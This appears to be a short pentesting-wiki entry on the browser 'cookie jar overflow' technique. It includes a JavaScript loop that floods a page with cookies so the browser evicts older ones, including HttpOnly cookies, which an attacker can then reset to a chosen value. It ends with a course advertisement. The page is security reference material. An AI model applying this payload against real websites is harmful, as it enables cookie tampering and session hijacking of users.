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The browsers have a limit on the number of cookies that they can store for a page. Then, if for some reason you need to make a cookie disappear, you can overflow the cookie jar as the oldest ones will be deleted before:

javascript
// Set many cookies
for (let i = 0; i < 700; i++) {
    document.cookie = `cookie${i}=${i}; Secure`;
}

// Remove all cookies
for (let i = 0; i < 700; i++) {
    document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}

Notice, that third party cookies pointing to a different domain won't be overwritten.

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This attack can also be used to overwrite HttpOnly cookies as you can delete it and then reset it with the value you want.

Check this in this post with a lab.

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

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